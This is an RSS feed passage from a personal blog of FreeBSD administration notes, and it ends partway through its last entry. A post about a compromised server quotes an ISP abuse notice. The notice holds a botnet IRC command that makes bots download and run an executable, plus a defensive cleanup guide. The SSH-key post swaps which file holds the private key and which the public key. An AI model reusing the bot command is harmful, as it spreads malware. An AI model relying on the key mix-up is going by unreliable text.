<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Teh Blarg &#187; freebsd</title>
	<atom:link href="http://raybdbomb.com/p/tag/freebsd/feed" rel="self" type="application/rss+xml" />
	<link>http://raybdbomb.com</link>
	<description>Incessant babble and otherwise blarg</description>
	<lastBuildDate>Thu, 09 Sep 2010 04:49:11 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=3.0-alpha</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>How to SSH w/o a password on FreeBSD</title>
		<link>http://raybdbomb.com/p/how-to-ssh-wo-a-password-on-freebsd.html</link>
		<comments>http://raybdbomb.com/p/how-to-ssh-wo-a-password-on-freebsd.html#comments</comments>
		<pubDate>Wed, 23 May 2007 17:38:41 +0000</pubDate>
		<dc:creator>Raybdbomb</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[freebsd]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://raybdbomb.com/p/how-to-ssh-wo-a-password-on-freebsd.html</guid>
		<description><![CDATA[Adapted from a Berkeley Guide, if you want to be able to SSH from unix or linux boxes (e.g. FreeBSD) without having to repeatedly put in the password, this guide will show you how to do that.
First step, on the client do the following:

mkdir -p ~/.ssh
chmod 700 ~/.ssh
ssh-keygen -t rsa

Have it use the default location [...]]]></description>
			<content:encoded><![CDATA[<p>Adapted from <a href="http://www.csua.berkeley.edu/~ranga/notes/ssh_nopass.html">a Berkeley Guide</a>, if you want to be able to SSH from unix or linux boxes (e.g. FreeBSD) without having to repeatedly put in the password, this guide will show you how to do that.</p>
<p>First step, on the client do the following:<br />
<code><br />
mkdir -p ~/.ssh<br />
chmod 700 ~/.ssh<br />
ssh-keygen -t rsa<br />
</code></p>
<p>Have it use the default location (~/.ssh/id_rsa), and make sure there is no passkey.  This creates a file containing the public key (id_rsa) and a file containing the private key (id_rsa.pub).</p>
<p>There should be one line of text in id_rsa.pub.  Copy it to the server, putting it in ~/.ssh/authorized_keys2. Then execute this command:<br />
<code><br />
chmod 600 authorized_keys2<br />
</code></p>
<p>That&#8217;s it!  Now connection from the client to the server with this command<br />
<code><br />
ssh server<br />
</code></p>
<p>If that doesn&#8217;t work (i.e. it prompts for your password), you may have to try a few things.  On one box that I tried, it worked as above.  On another, I had to do the following.<br />
<code><br />
ssh -i ~/.ssh/id_rsa server<br />
</code></p>
<p>If that works, add or create the file and insert these two lines to ~/.ssh/config<br />
<code><br />
Host server<br />
{tab}IdentityFile ~/.ssh/id_rsa<br />
</code></p>
<p>If you SSH as much as I do, this can save lots of time.</p>
]]></content:encoded>
			<wfw:commentRss>http://raybdbomb.com/p/how-to-ssh-wo-a-password-on-freebsd.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Proftpd on FreeBSD delay after &#8220;Waiting for welcome message&#8230;&#8221;</title>
		<link>http://raybdbomb.com/p/proftpd-on-freebsd-delay-after-waiting-for-welcome-message.html</link>
		<comments>http://raybdbomb.com/p/proftpd-on-freebsd-delay-after-waiting-for-welcome-message.html#comments</comments>
		<pubDate>Fri, 16 Mar 2007 17:23:27 +0000</pubDate>
		<dc:creator>Raybdbomb</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[freebsd]]></category>
		<category><![CDATA[proftpd]]></category>

		<guid isPermaLink="false">http://raybdbomb.com/p/proftpd-on-freebsd-delay-after-waiting-for-welcome-message.html</guid>
		<description><![CDATA[I&#8217;ve run an FTP server for some time, and it was a minor problem to me that it would always lag a bit on connection.  The connection would be something like this:

Status: Connecting to {server url}
Status: Connected with {server url}.  Waiting for welcome message...
{10-20 second delay}
Response: 220 {Server Name} (the HELO)
That 10-20 second [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve run an FTP server for some time, and it was a minor problem to me that it would always lag a bit on connection.  The connection would be something like this:<br />
<code><br />
Status: Connecting to {server url}<br />
Status: Connected with {server url}.  Waiting for welcome message...<br />
{10-20 second delay}<br />
Response: 220 {Server Name} (the HELO)</code></p>
<p>That 10-20 second delay was caused by a DNS lookup, whether failed or succeeded I had no need for it.  Truthfully in my /var/log/xferlog I&#8217;d rather see<br />
24.20.96.1XX rather than<br />
c-24-20-96-1XX.hsd1.wa.comcast.net</p>
<p>So to fix it, I added these lines to my /usr/local/etc/proftpd.conf:<br />
<code><br />
#to enable faster logins<br />
UseReverseDNS off<br />
IdentLookups off</code></p>
<p>Then restarted the server</p>
<p><code><br />
root@sam# /usr/local/etc/rc.d/proftpd.sh restart<br />
Stopping proftpd.<br />
Waiting for PIDS: 577.<br />
Starting proftpd.<br />
root@sam#</code></p>
<p>And wha-la, instead of it taking 20+ seconds to connect and authenticate with my server, it&#8217;s done within 3 seconds.</p>
]]></content:encoded>
			<wfw:commentRss>http://raybdbomb.com/p/proftpd-on-freebsd-delay-after-waiting-for-welcome-message.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>FreeBSD SSH session timeouts</title>
		<link>http://raybdbomb.com/p/freebsd-ssh-session-timeouts.html</link>
		<comments>http://raybdbomb.com/p/freebsd-ssh-session-timeouts.html#comments</comments>
		<pubDate>Sat, 23 Dec 2006 00:23:12 +0000</pubDate>
		<dc:creator>Raybdbomb</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[freebsd]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://raybdbomb.com/p/freebsd-ssh-session-timeouts.html</guid>
		<description><![CDATA[I was tired of seeing this while logging into my server via SSH:
Read from remote host raybdbomb.com: Connection reset by peer
I messed around with the sshd config a bit and wasn&#8217;t able to get it to go away.  I&#8217;m pretty sure that the connection is being closed by some firewall in the interim.  [...]]]></description>
			<content:encoded><![CDATA[<p>I was tired of seeing this while logging into my server via SSH:</p>
<blockquote><p>Read from remote host raybdbomb.com: Connection reset by peer</p></blockquote>
<p>I messed around with the sshd config a bit and wasn&#8217;t able to get it to go away.  I&#8217;m pretty sure that the connection is being closed by some firewall in the interim.  So for a solution, I installed <a href="http://www.laffeycomputer.com/spinner.html">spinner</a>.  </p>
<p><code><br />
cd /usr/ports/sysutils/spinner/<br />
make install clean<br />
spinner<br />
</code></p>
<p>It puts a character on the top left of the console, which keeps the session alive with minimal amounts of data transfer.</p>
<p>Works great! <img src='http://raybdbomb.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://raybdbomb.com/p/freebsd-ssh-session-timeouts.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>How to setup a Subversion server and repository on FreeBSD</title>
		<link>http://raybdbomb.com/p/how-to-setup-a-subversion-server-and-repository-on-freebsd.html</link>
		<comments>http://raybdbomb.com/p/how-to-setup-a-subversion-server-and-repository-on-freebsd.html#comments</comments>
		<pubDate>Thu, 07 Dec 2006 01:32:09 +0000</pubDate>
		<dc:creator>Raybdbomb</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[freebsd]]></category>
		<category><![CDATA[subversion]]></category>

		<guid isPermaLink="false">http://raybdbomb.com/p/how-to-setup-a-subversion-server-and-repository-on-freebsd.html</guid>
		<description><![CDATA[I had some trouble with this some months ago, so I thought I would create a guide to do it for my own future reference.  The OS I used for this guide was FreeBSD 5.4, but it stands to reason that it would work on others.
First, install subversion from the ports

[root@sam ~]# cd /usr/ports/devel/subversion
[root@sam [...]]]></description>
			<content:encoded><![CDATA[<p>I had some trouble with this some months ago, so I thought I would create a guide to do it for my own future reference.  The OS I used for this guide was FreeBSD 5.4, but it stands to reason that it would work on others.</p>
<p>First, install subversion from the ports</p>
<pre>
[root@sam ~]# cd /usr/ports/devel/subversion
[root@sam /usr/ports/devel/subversion]# make install clean
</pre>
<p>Next, add a user for the subversion server to run under.  I made mine &#8220;svn&#8221; at &#8220;/home/svn&#8221;.  And I made a directory for the repository &#8220;/home/svn/rep&#8221;.</p>
<p>Next, setup your /etc/rc.conf so that the svn server will start on boot, or start at all.  Append this to /etc/rc.conf</p>
<pre>
#svn server
svnserve_enable="YES"
#svnserve_flags="-d --listen-port=3690 --listen-host=0.0.0.0"
svnserve_flags="-d -r /home/svn/rep --listen-host=0.0.0.0"
svnserve_data="/home/svn/rep"
svnserve_user="svn"
svnserve_group="svn"
</pre>
<p>Start your svn server</p>
<pre>[root@sam ~]# /usr/local/etc/rc.d/svnserve.sh start</pre>
<p>Create the repository with svn</p>
<pre>[root@sam ~]# svnadmin create /home/svn/rep</pre>
<p>Explicitly set the password file, edit {repository}/conf/svnserve.conf and uncomment the line</p>
<pre>password-db = passwd</pre>
<p>and do whatever other edits to fine tune your repository.</p>
<p>Edit the password file to your liking, setting up a user with write access.  The password file is {repository}/conf/passwd</p>
<p>And wha-la, presto <img src='http://raybdbomb.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://raybdbomb.com/p/how-to-setup-a-subversion-server-and-repository-on-freebsd.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Root (wute) Kit</title>
		<link>http://raybdbomb.com/p/root-wute-kit.html</link>
		<comments>http://raybdbomb.com/p/root-wute-kit.html#comments</comments>
		<pubDate>Fri, 03 Mar 2006 01:14:37 +0000</pubDate>
		<dc:creator>Raybdbomb</dc:creator>
				<category><![CDATA[My Stuff ;D]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[freebsd]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://raybdbomb.com/p/root-wute-kit.html</guid>
		<description><![CDATA[Yea, so I received this e-mail from my ISP:

Subject: Policy Enforcement of LTSV-## at {my IP} for IRC Malicious
NOTES:  Remove the IRCd software from this server. It is being used for malicious intent.
QUOTE FROM THE
Axxx has changed the topic on channel #lucky to &#8220;.dl http://(url)/a.goud5/install.exe a.exe 1 -s&#8221;
 .l &#8230;&#8230;&#8230;. -s
 .q
NOTES: I have [...]]]></description>
			<content:encoded><![CDATA[<p>Yea, so I received this e-mail from my ISP:</p>
<blockquote><p>
Subject: Policy Enforcement of LTSV-## at {my IP} for IRC Malicious</p>
<p>NOTES:  Remove the IRCd software from this server. It is being used for malicious intent.<br />
QUOTE FROM THE<br />
Axxx has changed the topic on channel #lucky to &#8220;.dl http://(url)/a.goud5/install.exe a.exe 1 -s&#8221;<br />
<axxx> .l &#8230;&#8230;&#8230;. -s<br />
</axxx><axxx> .q</p>
<p>NOTES: I have added an Exploit Removal Guide below my signature block. This will help search for commonw exploits.</p>
<p>Dear Client,</p>
<p>This is a Policy Enforcement Notice that your server has violated our Acceptable Use Policy available at http://www.layeredtech.com/aup.shtml. Please refer to the attached complaints and/or logs of abuse. If you believe we have traced this issue to you erroneously, our staff will investigate the issue further.</p>
<p>IT IS YOUR RESPONSIBILITY TO REMOVE ALL DOMAINS, USERS, AND CONTENT CAUSING THIS ABUSE ISSUE AND TO INVESTIGATE ANY MISCONFIGURED, INFECTED, OR UNAUTHORIZED USE OF SOFTWARE.</p>
<p>PENDING YOUR REQUIRED REPLY WITH YOUR COMMENTS, QUESTIONS, OR ACTIONS TO RESOLVE THIS ISSUE, THE SERVER IS:</p>
<p>[] Monitored for Additional Violations<br />
[] Accessed for Investigation, Cleaning, Hardening, or Securing<br />
[x] Disconnected in:  [] 24-Hours  [x] 12-Hours  [] 6-Hours  [] 1-Hour  [] 0-Hours<br />
[] Required Reload Request with:  [] New Client Required  [] No Data Recovery  [] Data Recovery Allowed<br />
   at http://support.layeredtech.com under &#8220;Open a Ticket&#8221;<br />
[] Hard Drives Seized for Investigation<br />
[] Null-Routed<br />
[] Port Shutdown<br />
[] On 30-Day Probation<br />
[] Reviewed for Possible Cancellation<br />
[] Cancelled</p>
<p>FOR THE FOLLOWING REASONS:</p>
<p>[] Child Porn        C  Hosting, Distributing, or Linking to Pornography Involving a Person Under Legal Age<br />
[] Copyright         L  Hosting, Distributing, or Linking to Copyright Infringed Materials<br />
[] Cracking          H  Brute Force Access of Secured Network Devices<br />
[] DoS               H  Denial of Service Attack of Network Devices<br />
[] Forgery           M  Faking an IP Address, Hostname, E-Mail Address, or Header<br />
[] Fraud Site        H  Hosting or Linking to a Website Intended to Deceive the Public<br />
[] Hacking           H  Circumventing Security Systems of Network Devices<br />
[] HYIP Site         M  Hosting or Linking to a Website of High Yield Investment Program, Ponzi Scheme, or Pyramid Scheme<br />
[] ID Theft          H  Hosting, Distributing, or Linking to Stolen Account Identification Information<br />
[] Infection         H  Hosting, Distributing, or Linking to Exploits, Trojans, Viruses, or Worms<br />
[x] IRC Malicious     M  Malicious Use of Internet Relay Chat<br />
[] IRC Unregistered  L  Internet Relay Chat Server not Registerd with Layered Technologies<br />
[] Phishing          H  Identity Theft by Email Under False Pretense<br />
[] ROKSO Spamhaus    C  ROKSO Blacklisting of an IP at www.spamhaus.org for Malicious Activity<br />
[] Scanning          H  Probing for Vulnerabilities of Network Devices<br />
[] Shells            H  Hosting Accounts Primarily for Shell Access<br />
[] Spam Cannon       E  Sending High Volume Spam (UCE or UBE)<br />
[] Spam Email        L  Unsolicited Commercial Email (UCE) or Unsolicited Bulk Email (UBE)<br />
[] Spam List         M  Hosting, Distributing, or Linking to Email Address Lists for Spam<br />
[] Spam Proxy        C  Hosting an Open Proxy Server Used for Spam<br />
[] Spam Relay        C  Hosting an Open Mail Rely Used for Spam<br />
[] Spam Hijack       C  Distributing Spam Through a Third Party Server Vulnerability<br />
[] Spam Site         L  A Site Advertised by Spam Email or Spam Web<br />
[] Spam Ware         H  Hosting, Distributing, or Linking to Software Designed for Spamming<br />
[] Spam Web          L  Unsolicited, Bulk, or Forged Site Advertisement in Web Logs, Forums, or Guestbooks<br />
[] Terrorist Site    C  Hosting or Linking to a Site Advocating Terrorism<br />
[] Toolz             L  Hosting, Distributing, or Linking to Cracking, DoS, Forgery, Infection, or Scanning Software or Instruction<br />
[] Trademark         L  Hosting, Distributing, or Linking to Trade Mark Infringed Materials<br />
[] Warez             L  Hosting, Distributing, or Linking to Crackz, Hackz, KeyGenz, Serialz, or Pirated Software</p>
<p>[] OTHER: </p>
<p>Thank you for your cooperation,</p>
<p>Layered Technologies Abuse Team</p>
<p>On Thu, 02 Mar 2006 13:01:42 -0600, pen@ev6.net wrote:</p>
<p>>> hello,<br />
>><br />
>>  recently stumbled onto a drone ircd on your network, {my IP}:8080,<br />
>> channel #lucky.<br />
>><br />
>>  i was going to contact the customer directly but thier whois info<br />
>> provides no abuse contact or any other usable contact.<br />
>><br />
>>  please null route this ip immediately. the bots on this server are being<br />
>> used to DDoS a customer of ours..<br />
>><br />
>><br />
>> thanks,<br />
>> jl, ev6 networks. </p>
<p>Thank you,</p>
<p>Tom<br />
Layered Technologies<br />
Policy Enforcement Technician</p>
<p>ACCEPTABLE USE POLICY at http://layeredtech.com/aup.shtml</p>
<p>###  Exploit Removal Guide ###</p>
<p>The following is a first step in finding and removing exploits and root kits on a Linux or BSD system.</p>
<p>1. EXECUTE THE FOLLOWING COMMANDS TO HELP PREVENT UPLOADS OF EXPLOITS:</p>
<p>chmod 0750 `which curl` 2>&#038;-; chmod 0750 `which fetch` 2>&#038;-; chmod 0750 `which wget` 2>&#038;-</p>
<p>2. EXECUTE THE FOLLOWING COMMANDS TO CHECK FOR POSSIBLE EXISTING EXPLOITS:</p>
<p>sh<br />
for x in &#8220;/dev/shm /tmp /usr/local/apache/proxy /var/spool /var/tmp&#8221;; do ls -loAFR $x 2>&#038;- | grep -E &#8220;^$|^/| apache | nobody | unknown | www | web &#8221; | grep -E &#8220;^$|^/|/$|\*$|\.pl$&#8221; | tee exploits.txt; done; echo -e &#8220;\n\nPossible Exploit Files and Directories: `grep -Ev &#8220;^$|^/&#8221; exploits.txt | wc -l | tr -d &#8216; &#8216;`&#8221; | tee -a exploits.txt<br />
exit</p>
<p>Lines ending with an asterisk &#8216;*&#8217;, &#8216;.pl&#8217;, or a slash &#8216;/&#8217; are possible exploit files or directories which should be investigated and removed followed by rebooting the server to kill any running exploit processes. You can refer to the exploits.txt file generated by the above commands for later reference.</p>
<p>3. You should also install and run the progam called rkhunter.</p>
<p>Rootkit Hunter is scanning tool to ensure you for about 99.9% you&#8217;re clean of nasty tools.</p>
<p>This tool scans for rootkits, backdoors and local exploits by running tests like:</p>
<p>- MD5/SHA1 hash compare<br />
- Look for default files used by rootkits<br />
- Wrong file permissions for binaries<br />
- Look for suspected strings in LKM and KLD modules<br />
- Look for hidden files<br />
- Optional scan within plaintext and binary files</p>
<p>WWW: http://www.rootkit.nl/</p>
<p>On BSD sytems:<br />
cd /usr/ports/security/rkhunter; make install clean; rehash; rkhunter -c<br />
(or for help with rkhunter arguments do: rkhunter -h)</p>
<p>On RedHat, Fedora, CentOS systems:<br />
yum -y install rkhunter; rkhunter -c<br />
(or for help with rkhunter arguments do: rkhunter -h)</p>
<p>If you cannot do this, our staff will clean, harden, and secure the server for you for a fee or or you can have a 3rd party company to do it.</p>
<p>If you cannot secure your server, you should issue a Reload Request of your system at http://support.layeredtech.com under &#8220;Open A Ticket&#8221;.<br />
</axxx></p></blockquote>
<p>And the Rootkit Hunter didn&#8217;t find any rootkits&#8230; unfortunately.  So, it&#8217;s time to do a system refresh.  I sent this e-mail to the owners of the domains that I host:</p>
<blockquote><p>
Dear &#8220;clients&#8221;:</p>
<p>The server, nooblet.us which hosts your domain(s), files or e-mails nicely acquired a rootkit today (http://en.wikipedia.org/wiki/Rootkit).  I was unable to find out what caused it, or even where it resides, so my ISP strongly recommends I do an OS reload (very soon).  I will being the OS reload on Friday, March 2nd, 2006 (tomorrow), at approximately 2 p.m. PST.</p>
<p>I have installed lots of software on this server, so it might take me awhile to get it all caught up and reinstalled.  Hopefully I can get it completed within 1 day.  During this time, your mail, files, and everything else associated with your domains will not be available.<br />
Also, it has come to my attention that too many of you have ssh access.  This is essentially what caused the problem.  Unless you make a deal with me to pay for some of the cost of the server, ssh access will be limited to me alone, you will instead only have ftp access to write files to the server.  If you need ssh access, send me a message after I restore the server and we can negotiate a price.</p>
<p>The information that *will not* be lost during the server move includes:<br />
1.  Files.  I have backed up all of the files for your domain and will restore it as soon as I can.  My home system has a 30KB/s upload limit, so it might take awhile.<br />
2.  Domain Configuration.  I have backed up the &#8220;named&#8221; files, so restoring this information should be the first to be done.</p>
<p>The information that *will* be lost during the server move includes:<br />
1.  E-mail accounts.  This includes both the e-mails themselves and the login/password information.  If you want to backup your e-mails, I&#8217;d suggest you do that as soon as possible, because it WILL be gone on Friday.<br />
2.  Username/password pair combinations.  Your login will be lost.  I will provide you with your username and a dummy password when the server is restored.</p>
<p>My e-mail {} will be down during the transition, so you can e-mail RnospamDEHLER(at)gmail.com in the meantime with questions or comments.</p>
<p>Sorry for the inconvenience, but really I&#8217;m just as inconvenienced as you, if not more.</p>
<p>Please send me your non-nooblet.us hosted e-mail to RnospamDEHLER(at)gmail.com and I can provide you with updates as they come.
</p></blockquote>
<p>Bummer, eh?</p>
]]></content:encoded>
			<wfw:commentRss>http://raybdbomb.com/p/root-wute-kit.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>bashrc on FreeBSD</title>
		<link>http://raybdbomb.com/p/bashrc-on-freebsd.html</link>
		<comments>http://raybdbomb.com/p/bashrc-on-freebsd.html#comments</comments>
		<pubDate>Wed, 21 Dec 2005 20:10:38 +0000</pubDate>
		<dc:creator>Raybdbomb</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[freebsd]]></category>

		<guid isPermaLink="false">http://raybdbomb.com/p/bashrc-on-freebsd.html</guid>
		<description><![CDATA[The default bashrc for freebsd is bland, black and white, so I looked for something to spice it up.
First I added color as well as some custom-ities to my two line prompt:
export PS1="e[32;40mt e[33;40mue[34;40m@e[31;40mh e[36;40mwne[37;40m#$ e[0m"
Then I added color to my ls&#8217;s.  Once you experience the default linux coloring, going back is pretty hard.
CLICOLOR="YES"; [...]]]></description>
			<content:encoded><![CDATA[<p>The default bashrc for freebsd is bland, black and white, so I looked for something to spice it up.<br />
First I added color as well as some custom-ities to my two line prompt:</p>
<pre>export PS1="e[32;40mt e[33;40mue[34;40m@e[31;40mh e[36;40mwne[37;40m#$ e[0m"</pre>
<p>Then I added <a href="http://www.puresimplicity.net/~hemi/freebsd/misc.html">color to my ls&#8217;s</a>.  Once you experience the default linux coloring, going back is pretty hard.</p>
<pre>CLICOLOR="YES";    export CLICOLOR
LSCOLORS="ExGxFxdxCxDxDxhbadExEx";    export LSCOLORS</pre>
</p>
<p>This gives<br />
the 24 hour time in green, followed by user (orange)@(blue)host(red), followed by the current path (light blue), then new line<br />
followed by the number of commands done on this term thus far, followed by the &#8220;$&#8221; symbol.</p>
<p>Works great for me.  </p>
<p>Of course, don&#8217;t forget to source it in your .bash_profile<br />
<code>source ~/.bashrc</code></p>
]]></content:encoded>
			<wfw:commentRss>http://raybdbomb.com/p/bashrc-on-freebsd.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Maxtor Hard Drive, FreeBSD</title>
		<link>http://raybdbomb.com/p/maxtor-hard-drive-freebsd.html</link>
		<comments>http://raybdbomb.com/p/maxtor-hard-drive-freebsd.html#comments</comments>
		<pubDate>Sun, 20 Nov 2005 09:52:16 +0000</pubDate>
		<dc:creator>Raybdbomb</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[freebsd]]></category>

		<guid isPermaLink="false">http://raybdbomb.com/p/maxtor-hard-drive-freebsd.html</guid>
		<description><![CDATA[I purchased a 200GB Maxtor 6Y200P0 hard drive for $45 after rebate about a year and a half ago.  It had been working fine as a backup hard drive on my FreeBSD server.  However, it recently failed on me.  Directly after a power outage, I was receiving the following message:
FAILURE-READ_DMA status=51 error=40 [...]]]></description>
			<content:encoded><![CDATA[<p>I purchased a 200GB Maxtor 6Y200P0 hard drive for $45 after rebate about a year and a half ago.  It had been working fine as a backup hard drive on my FreeBSD server.  However, it recently failed on me.  Directly after a power outage, I was receiving the following message:</p>
<blockquote><p>FAILURE-READ_DMA status=51<ready ,DSC,ERROR> error=40<uncorrectable> LBA=135486975 mount = /dev/ad0s1d</uncorrectable></ready></p></blockquote>
<p>Doing fsck -y /dev/ad0s1d, the check would complete without errors.  But trying to mount the drive as rw would give me the following error:</p>
<blockquote><p>mount: /dev/ad0s1d: Input/output error</p></blockquote>
<p>I was able to mount it read-only to retrieve the data, but I really wanted to have it fixed so I could write to it again.  </p>
<p>I tried to follow the <a href="http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/disks-adding.html">FreeBSD handbook guide to reformatting the drive</a>, but that did not complete, giving read/write errors.</p>
<p>It was <a href="http://layer0.layeredtech.com/showpost.php?p=10692&#038;postcount=6">suggested by cperciva@layeredtech</a> that I</p>
<blockquote><p>
Overwrite that partition with zeroes (dd if=/dev/zero of=/dev/ad0s1d) and then newfs and mount (newfs /dev/ad0s1d &#038;&#038; mount /dev/ad0s1d)
</p></blockquote>
<p>While that series of commands didn&#8217;t work (same input/output errors), doing effectively the same thing with the Maxtor diagnostics tool worked.</p>
<p>I went to Maxtor.com, and selected my model # (which seems to only work on IE&#8230;), went to Diagnostics, then downloaded PowerMax and put it on a floppy.  Running a Basic Quick Test (90 Second) passed, but an Advanced Test (Full Read Scan) failed fairly early on.  I was given two error codes, which are supposedly internal for Maxtor, and I guess are used for RMA processing.  The codes were dea46771 and dea46761, which mean nothing to me.</p>
<p>So I then performed a Low Level Format (Quick) and Low Level Format (Full).  This took the better part of 2 hours.  After doing this, the Advanced Test completed.  I was then able to format and partition the drive via the <a href="http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/disks-adding.html">FreeBSD Handbook: Adding Disks section</a>.</p>
<p>I have no doubt that the reason the hard drive was failing was the heat inside.  I have two 200 GB hard drives and 1 40 GB hard drive all practically laying on top of each other in the hard drive bay.  I&#8217;m just squeezing as much life as I can out of this old system.  Next system, hard drive coolers, video card coolers, {insert third term to match form} coolers, Oh my!</p>
]]></content:encoded>
			<wfw:commentRss>http://raybdbomb.com/p/maxtor-hard-drive-freebsd.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>ftponly shell for freebsd</title>
		<link>http://raybdbomb.com/p/ftponly-freebsd-shell.html</link>
		<comments>http://raybdbomb.com/p/ftponly-freebsd-shell.html#comments</comments>
		<pubDate>Thu, 23 Jun 2005 22:32:25 +0000</pubDate>
		<dc:creator>Raybdbomb</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[freebsd]]></category>

		<guid isPermaLink="false">http://raybdbomb.com/p/ftponly-freebsd-shell.html</guid>
		<description><![CDATA[I was looking for a way to restrict regular users of my server from accessing the shell.  A google search for ftponly found this method:

Save the following into /usr/local/bin/ftponly, chmod it 755 and add it to /etc/shells.  Then change the shell of each of the users to this, and they will be restricted [...]]]></description>
			<content:encoded><![CDATA[<p>I was looking for a way to restrict regular users of my server from accessing the shell.  A <a href="http://www.google.com/search?hl=en&#038;q=ftponly">google search for ftponly</a> found this method:</p>
<blockquote><p>
Save the following into /usr/local/bin/ftponly, chmod it 755 and add it to /etc/shells.  Then change the shell of each of the users to this, and they will be restricted from ssh &#8220;interactive&#8221; access.</p>
<p>#!/bin/sh<br />
#<br />
# ftponly shell<br />
#<br />
trap &#8220;/bin/echo Sorry; exit 0&#8243; 1 2 3 4 5 6 7 10 15<br />
#<br />
IFS=&#8221;"<br />
Admin=access@host.some.domain<br />
System=`/usr/ucb/hostname`@`/usr/bin/domainname`<br />
#<br />
/bin/echo<br />
/bin/echo &#8220;***********************************&#8221;<br />
/bin/echo &#8221;    You are NOT allowed interactive access to $System.&#8221;<br />
/bin/echo<br />
/bin/echo &#8221;     User accounts are restricted to ftp and web access.&#8221;<br />
/bin/echo<br />
/bin/echo &#8221;  Direct questions concerning this policy to $Admin.&#8221;<br />
/bin/echo &#8220;***********************************&#8221;<br />
/bin/echo<br />
#<br />
# C&#8217;ya<br />
#<br />
exit 0
</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://raybdbomb.com/p/ftponly-freebsd-shell.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mysql install on FreeBSD</title>
		<link>http://raybdbomb.com/p/mysql-install-on-freebsd.html</link>
		<comments>http://raybdbomb.com/p/mysql-install-on-freebsd.html#comments</comments>
		<pubDate>Sun, 13 Mar 2005 04:42:46 +0000</pubDate>
		<dc:creator>Raybdbomb</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[freebsd]]></category>
		<category><![CDATA[mysql]]></category>

		<guid isPermaLink="false">http://raybdbomb.com/03.12.2005/mysql-install-on-freebsd.html</guid>
		<description><![CDATA[I&#8217;ve had enough problems with this to know that I need to write down what I need to do to install mysql on FreeBSD.  Here are the steps I took to do it successfully.
cd /usr/ports/databases/mysql41-server/
make install clean
/usr/local/bin/mysql_install_db
chown -R mysql /var/db/mysql/
chgrp -R mysql /var/db/mysql/
/usr/local/bin/mysqld_safe &#8211;user=mysql &#038;
/usr/local/bin/mysqladmin -u root password newpassword
Edit 8/17:
{edit /etc/rc.conf and add}
mysql_enable=&#34;YES&#34;
Thanks lucas
That [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve had enough problems with this to know that I need to write down what I need to do to install mysql on FreeBSD.  Here are the steps I took to do it successfully.</p>
<p>cd /usr/ports/databases/mysql41-server/<br />
make install clean<br />
/usr/local/bin/mysql_install_db<br />
chown -R mysql /var/db/mysql/<br />
chgrp -R mysql /var/db/mysql/<br />
/usr/local/bin/mysqld_safe &#8211;user=mysql &#038;<br />
/usr/local/bin/mysqladmin -u root password newpassword</p>
<p><em>Edit 8/17:</em><br />
{edit /etc/rc.conf and add}<br />
mysql_enable=&quot;YES&quot;<br />
<em>Thanks lucas</em></p>
<p>That works.</p>
]]></content:encoded>
			<wfw:commentRss>http://raybdbomb.com/p/mysql-install-on-freebsd.html/feed</wfw:commentRss>
		<slash:comments>60</slash:comments>
		</item>
		<item>
		<title>Freebsd and Proftpd</title>
		<link>http://raybdbomb.com/p/freebsd-and-proftpd.html</link>
		<comments>http://raybdbomb.com/p/freebsd-and-proftpd.html#comments</comments>
		<pubDate>Fri, 11 Feb 2005 01:38:00 +0000</pubDate>
		<dc:creator>Raybdbomb</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[freebsd]]></category>

		<guid isPermaLink="false">http://raybdbomb.com/02.10.2005/freebsd-and-proftpd.html</guid>
		<description><![CDATA[I just installed Proftpd from FreeBSD&#8217;s ports (/usr/ports/ftp/proftpd/) today and noticed that when I tried to start it, it wouldn&#8217;t start by default.  I would get this:

-su# /usr/local/etc/rc.d/proftpd.sh start
Starting proftpd.
-su# /usr/local/etc/rc.d/proftpd.sh status
proftpd is not running.

I inspected /var/log/messages, and found this message
Feb 10 15:59:42 {hostname} proftpd [4375]: {hostname} &#8211; error opening scoreboard: No such file [...]]]></description>
